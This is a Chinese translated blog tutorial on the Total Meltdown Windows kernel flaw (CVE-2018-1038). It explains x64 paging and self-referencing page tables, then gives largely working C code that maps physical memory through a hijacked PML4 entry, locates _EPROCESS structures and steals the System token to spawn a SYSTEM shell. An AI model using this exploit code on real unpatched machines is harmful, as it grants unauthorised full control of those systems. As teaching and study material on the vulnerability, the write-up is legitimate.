您好,登錄后才能下訂單哦!
Totel MeltdownCVE-2018-1038 漏洞利用是怎樣的,相信很多沒有經(jīng)驗(yàn)的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個(gè)問題。
主要是教大家學(xué)習(xí)這個(gè) exploit 的技巧而不是僅僅提供一個(gè)隨時(shí)可用的 exploit。所以,我們先看一下內(nèi)存分頁的一些基本概念。
為了理解 CVE-2018-1038 漏洞,我們首先需要對 x86/x64 架構(gòu)下的分頁機(jī)制有所了解。
我們都知道,在一個(gè) x64 架構(gòu)上的 OS 中,虛擬地址大概是如下這個(gè)樣子的:
接下來的事情就不是眾所周知的了:這個(gè)虛擬地址并不是一個(gè)指向某個(gè)實(shí)際物理地址的指針。它實(shí)際上由許多字段組成,這些字段聯(lián)合在一起被轉(zhuǎn)化為物理地址。
我們首先將上述虛擬地址轉(zhuǎn)為二進(jìn)制表示。
0000000000000000 000001111 111111111 111111111 111010110000000000001
從左到右的前 16 位并不存在任何實(shí)際意義,它們僅僅是虛擬地址第 48 位的簡單復(fù)制(譯者注: 由于目前還用不到完整的 64 位尋址空間,AMD64 架構(gòu)只支持 48 位的內(nèi)存地址,剩下 16 位只是這 48 位地址的符號擴(kuò)展)。
接下來從第 48 位開始看
1)前 9 位,000001111(十進(jìn)制 15),是 PML4 表中的一個(gè)偏離。
2)之后的 9 位,11111111(十進(jìn)制 511),是 PDPT 表中的一個(gè)偏移。
3)再之后的 9 位,11111111(十進(jìn)制 511),是 PD 表中的一個(gè)偏移。
4)再之后的 9 位,111010110(十進(jìn)制 470),是 PT 表的一個(gè)偏移。
5)最后的 12 位,0000000000000001(十進(jìn)制 1),是內(nèi)存頁面的一個(gè)偏移。
于是理所當(dāng)然的,下一個(gè)問題就是…PML4, PDPT, PD 和 PT 到底是什么?
在 x64 架構(gòu)中,將一個(gè)虛擬地址轉(zhuǎn)化為物理地址,我們需要如下一系列的頁表。CR3 寄存器指向了最開始的 PML4 頁表。
1)PML4– Page Map Level 4
2)PDPT– Page Directory Pointer Table
3)PD– Page Directory
4)PT– Page Table
每一個(gè)頁表都負(fù)責(zé)提供我們尋址過程中需要的物理地址,以及這個(gè)物理地址的一些標(biāo)志位。
例如,一個(gè)頁表中的一個(gè)項(xiàng)目可能會(huì)負(fù)責(zé)提供我們一個(gè)指向下一級頁表的指針,同時(shí)也會(huì)負(fù)責(zé)設(shè)置頁面的 NX 位,或者保證指向的內(nèi)存頁面屬于 kernel,不能被操作系統(tǒng)中的進(jìn)程訪問。
將實(shí)際的概念簡化后,虛擬地址將如下通過四個(gè)頁表最終轉(zhuǎn)為物理地址。
這樣我們可以看到,通過一個(gè)頁表項(xiàng)目及指向下一級頁表,進(jìn)程會(huì)遍歷上述四個(gè)頁表,最終最后一個(gè)頁表會(huì)指向虛擬地址對應(yīng)的物理內(nèi)存頁面,然后再加上最后的偏移量形成實(shí)際物理地址。
我們可以想象,對一個(gè)操作系統(tǒng)來說保存和管理上述頁表會(huì)需要一些開銷。因此 OS 開發(fā)者會(huì)使用一個(gè)叫做「自引用頁表」的技術(shù)來盡量避免上述繁雜的流程。
簡單的說,「自引用頁表」就是在 PML4 頁表中的某一項(xiàng)中自我引用。例如,我們在 PML4 表的偏移為 0x100 位置中創(chuàng)建新的條目,其指向的內(nèi)存就是 PML4 所在的內(nèi)存地址,我們就有了一個(gè)「自引用條目」
為什么需要這么做呢?實(shí)際上,這樣就提供了我們一些虛擬地址,使得我們可以通過這些地址來查看和修改頁表。
例如,如果我們想修改 PML4,我們可以直接引用虛擬地址 0x804020100000。這個(gè)虛擬地址會(huì)如下地進(jìn)行轉(zhuǎn)換:
1)查找 PML4 的 0x100 條目:得到 PML4 的物理地址
2)查找 PDPT 的 0x100 條目:同樣的,還是得到 PML4 的物理地址
3)查找 PD 的 0x100 條目:同樣的,還是得到 PML4 的物理地址
4)查找 PT 的 0x100 條目:同樣的,還是得到 PML4 的物理地址
再加上最后 12 位的偏移量,我們最終得到的物理地址還是 PML4 的物理地址。
希望你們看到這的時(shí)候能夠?qū)ψ砸庙摫淼母拍钣兴私狻瓕τ谖襾碚f我花了好幾個(gè)晚上盯著屏幕才把這玩意搞明白 :D
我們用下面的代碼作為進(jìn)一步的例子。我們可以看到虛擬地址 0xffff804020100000 可以讓我們編輯 PML4。在這個(gè)例子中,PML4 的 0x100 個(gè)條目是自引用的。
package main import ( "fmt" ) func VAtoOffsets(va uint64) { phy_offset := va & 0xFFF pt_index := (va >> 12) & 0x1FF pde_index := (va >> (12 + 9)) & 0x1FF pdpt_index := (va >> (12 + 9 + 9)) & 0x1FF pml4_index := (va >> (12 + 9 + 9 + 9)) & 0x1FF fmt.Printf("PML4 Index: %03x\n", pml4_index) fmt.Printf("PDPT Index: %03x\n", pdpt_index) fmt.Printf("PDE Index: %03x\n", pde_index) fmt.Printf("PT Index: %03x\n", pt_index) fmt.Printf("Page offset: %03x\n", phy_offset) } func OffsetsToVA(phy_offset, pt_index, pde_index, pdpt_index, pml4_index uint64) { var va uint64 va = pml4_index << (12 + 9 + 9 + 9) va = va | pdpt_index << (12 + 9 + 9) va = va | pde_index << (12 + 9) va = va | pt_index << 12 va = va | phy_offset if ((va & 0x800000000000) == 0x800000000000) { va |= 0xFFFF000000000000 } fmt.Printf("Virtual Address: %x\n", va) } func main() { VAtoOffsets(0xffff804020100000) OffsetsToVA(0, 0x100, 0x100, 0x100, 0x100) }
你們可以直接在這個(gè)頁面看到代碼的結(jié)果。
https://play.golang.org/p/tyQUoox47ri
現(xiàn)在,假如說我們想要修改虛擬地址的 PDPT 條目。利用自引用技術(shù)這個(gè)就很容易做到了。
例如,我們的目標(biāo)是 PML4 中 0x150 條目所指向的 PDPT 表,我們用虛擬地址 0xffff804020150000 就可以得到這個(gè) PDPT。一樣的,我們的 golang 小程序可以幫助闡述這個(gè)過程。
https://play.golang.org/p/f02hYYFgmWo
好了,現(xiàn)在我們對分頁機(jī)制有所理解,我們就可以看看漏洞了。
如果我們在 Windows 7 x64 或者 Server2008 r2 x64 上安裝 2018-02 補(bǔ)丁,我們可以看到 PML4 表中的第 0x1ed 條目被更新了。
在我的測試環(huán)境中,該條目應(yīng)該和以下相似:
0x000000002d282867
我們應(yīng)注意帶這個(gè)條目的第 3 位。第 3 位,如果為 1 的話,將允許用戶態(tài)的進(jìn)程訪問該內(nèi)存頁面,而不是限制只能被 kernel 訪問… :0
更糟的是,PML4 的 0xled 條目在 Windows 7 x64 和 Windows Server 2008R2 x64 中被用來作為自引用條目。這意味著任何一個(gè)用戶態(tài)進(jìn)程都有能力去查看和改寫 PML4 表。
而且我們知道,通過修改這個(gè)頂級的頁表,我們有能力查看和修改系統(tǒng)中所有的物理內(nèi)存頁面…\_(?)_/
漏洞利用
那么,我們?nèi)绾卫眠@個(gè)漏洞呢?
我們可以通過以下幾步來利用這個(gè)漏洞來達(dá)到權(quán)限提升的目的。
1)創(chuàng)建一系列新的頁表,這些頁表能讓我們訪問任意物理內(nèi)存
2)搜集一些能幫助我們在內(nèi)核中查找_EPROCESS 結(jié)構(gòu)體的特征
3)找到自身進(jìn)程以及 System 進(jìn)程的_EPROCESS 結(jié)構(gòu)體
4)將 System 進(jìn)程的 Token 復(fù)制到自身進(jìn)程中,這樣就能將自身進(jìn)程提升到 NT_AUTHORITY 權(quán)限
在開始之前需要提到的是,如果我沒有看過 PCILeech』s 的代碼,我不可能寫出這篇博客。由于這是我第一次如此深度地去了解操作系統(tǒng)的分頁機(jī)制,devicetmd.c 中的漏洞利用代碼花了我好幾個(gè)不眠之夜去理解它。在這里我要感謝和贊許 Ulf Frisk 和 PCILeech。
如果要簡單地生成特征的話,我們可以利用_EPROCESS 中的 ImageFIleName 和 PriorityClass 字段。我們掃描整個(gè)內(nèi)存,若這兩個(gè)字段匹配上了我們就認(rèn)為尋找到了目標(biāo)。在我的測試環(huán)境中這種方法可以正常完成工作,當(dāng)然,如果你在實(shí)驗(yàn)中這兩個(gè)特征并不能完全定位到目標(biāo),你可以考慮自己重新定義搜索的粒度。與其簡單地重現(xiàn) Ulf 的分頁技術(shù),我們不如選擇利用 PCILeech 中的代碼來建立我們的頁表。為了使事情更容易被理解,我更新了其中一些 magic number 并添加了一些注釋來解釋到底發(fā)生了什么。
unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD; DWORD done; // setup: PDPT 劫持到固定的物理地址 0x10000 // 本代碼利用之前討論過的 PML4 自引用技術(shù), 遍歷 PML4 直到找到一個(gè)可以被劫持的空的條目 for (iPML4 = 256; iPML4 < 512; iPML4++) { vaPML4e = PML4_BASE + (iPML4 << 3); if (*(unsigned long long *)vaPML4e) { continue; } // 當(dāng)我們找到可劫持的條目后,我們將其指向下一級頁表的物理內(nèi)存地址,也就是 0x10000 // flag "067"代表著對應(yīng)頁面可以被用戶態(tài)進(jìn)程訪問 e. *(unsigned long long *)vaPML4e = 0x10067; break; } printf("[*] PML4 Entry Added At Index: %d\n", iPML4); // 在這里, 我們通過虛擬地址訪問 PDPT // 例如,如果我們劫持的條目是 PML4 的第 256 條, PDPT 的虛擬地址就是 0xFFFFF6FB7DA00000 + 0x100000 // 這個(gè)虛擬地址讓我們可以訪問物理地址 0x10000, 其在各個(gè)頁表的偏移為 // PML4 Index: 1ed | PDPT Index : 1ed | PDE Index : 1ed | PT Index : 100 vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3)); printf("[*] PDPT Virtual Address: %p", vaPDPT); // 2: 建立 31 個(gè) PD 表,其物理地址為 0x11000 - 0x1f000, 表中對應(yīng)的頁面大小為 2MB // 以下代碼在 PDPT 中建立 31 個(gè)項(xiàng)目 for (iPDPT = 0; iPDPT < 31; iPDPT++) { *(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12); } // 對于每一個(gè) PD, 進(jìn)一步創(chuàng)建 512 個(gè) PT 項(xiàng)目 // 這樣我們將有 512*32*2mb = 33gb 的物理內(nèi)存空間 for (iPDPT = 0; iPDPT < 31; iPDPT++) { if ((iPDPT % 3) == 0) printf("\n[*] PD Virtual Addresses: "); vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3)); printf("%p ", vaPD); for (iPD = 0; iPD < 512; iPD++) { // 注意到下面的代碼中給每一個(gè)項(xiàng)目添加了 0xe7 的 flag // 這個(gè)是用來創(chuàng)建 2mb 大小的頁面,而不是默認(rèn)的 4k 大小 *(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7; } } printf("\n[*] Page tables created, we now have access to ~33gb of physical memory\n");
現(xiàn)在,頁表設(shè)計(jì)完畢之后,我們需要在物理內(nèi)存中尋找_EPROCESS 結(jié)構(gòu)體。我們先看看_EPROCESS 結(jié)構(gòu)體是什么樣子。
如果要簡單地生成特征的話,我們可以利用_EPROCESS 中的 ImageFIleName 和 PriorityClass 字段。我們掃描整個(gè)內(nèi)存,若這兩個(gè)字段匹配上了我們就認(rèn)為尋找到了目標(biāo)。在我的測試環(huán)境中這種方法可以正常完成工作,當(dāng)然,如果你在實(shí)驗(yàn)中這兩個(gè)特征并不能完全定位到目標(biāo),你可以考慮自己重新定義搜索的粒度。
#define EPROCESS_IMAGENAME_OFFSET 0x2e0 #define EPROCESS_TOKEN_OFFSET 0x208 #define EPROCESS_PRIORITY_OFFSET 0xF // This is the offset from IMAGENAME, not from base unsigned long long ourEPROCESS = 0, systemEPROCESS = 0; unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3)); STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); printf("[*] Hunting for _EPROCESS structures in memory\n"); for (int i = 0x100000; i < 31 * 512 * 2097152; i++) { __try { // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) { if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) { ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET; printf("[*] Found our _EPROCESS at %p\n", ourEPROCESS); } } // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field else if (systemEPROCESS == 0 && memcmp("System\0\0\0\0\0\0\0\0\0", (unsigned char *)(exploitVM + i), 14) == 0) { if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) { systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET; printf("[*] Found System _EPROCESS at %p\n", systemEPROCESS); } } if (systemEPROCESS != 0 && ourEPROCESS != 0) { ... break; } } __except (EXCEPTION_EXECUTE_HANDLER) { printf("[X] Exception occured, stopping to avoid BSOD\n"); } }
最后,如同絕大多數(shù)內(nèi)核權(quán)限提升漏洞的利用一樣,我們將自身進(jìn)程的_EPROCESS.Token 字段復(fù)制為 System 進(jìn)程的 Token。
if (systemEPROCESS != 0 && ourEPROCESS != 0) { // Swap the tokens by copying the pointer to System Token field over our process token printf("[*] Copying access token from %p to %p\n", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET); *(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET); printf("[*] Done, spawning SYSTEM shell...\n\n"); CreateProcessA(0, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); break; }
于是我們就能進(jìn)行權(quán)限的提升了。
微軟發(fā)布了 CVE-2018-1038 的補(bǔ)丁來修復(fù)這個(gè)漏洞。
為了減少藍(lán)屏死機(jī)的可能性,我在 POC 中增加了額外的內(nèi)存檢查。POC 的第二版可以在這里找到。
看完上述內(nèi)容,你們掌握Totel MeltdownCVE-2018-1038 漏洞利用是怎樣的的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。